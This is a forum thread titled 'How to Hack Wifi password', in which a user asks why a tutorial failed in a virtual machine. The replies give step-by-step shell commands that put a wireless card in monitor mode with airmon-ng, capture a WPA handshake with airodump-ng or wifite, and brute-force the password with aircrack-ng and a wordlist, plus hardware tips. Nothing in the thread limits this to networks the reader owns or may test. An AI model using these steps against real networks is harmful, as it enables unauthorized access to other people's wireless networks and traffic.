How to Hack Wifi password

[Rossmon]

There are several kinds of attacks for Wifi Hacking. However, this tutorial about how to hack wifi i was checking. However, later when i tried it with Virtual machine on my windows 10, it didn't actually work. Is it happening because of Virtual Machine! should i install Kali Linux OS to make it fully work!

Please do not post the same question in multiple places.

Also, there is nothing stopping it working in a VM if it is configured properly, and that of course depends on the wifi chipset on the machine in question.

 

Your best bet is to actually check out the Kali Linux book that they have for free as a PDF, it gives a great many tips and hints.

Wifite is a good automated tools but from experience using airodump will typically give better results depending on your network card.

 

For Wifite (Assuming your on a Debian based distro (Debian/Ubuntu/Kali) and your network card is called wlan0

apt install wifite aircrack-ng -y
airmon-ng start wlan0
wifite -i wlan0mon

 

For Aircrack-ng

apt install aircrack-ng -y
airmon-ng start wlan0
airodump-ng wlan0mon -w out # this will log the data in multiple different formats and files
# Wait until airodump displays WPA Handshake captured in the top right then press CTRL+C to kill airodump
aircrack-ng out.cap -w wordlist # Attempt to bruteforce the password other tools like hashcat can use your GPU to speed up this process

 

Also I recommend that you run Linux natively or use a usb wifi card for virtual machines
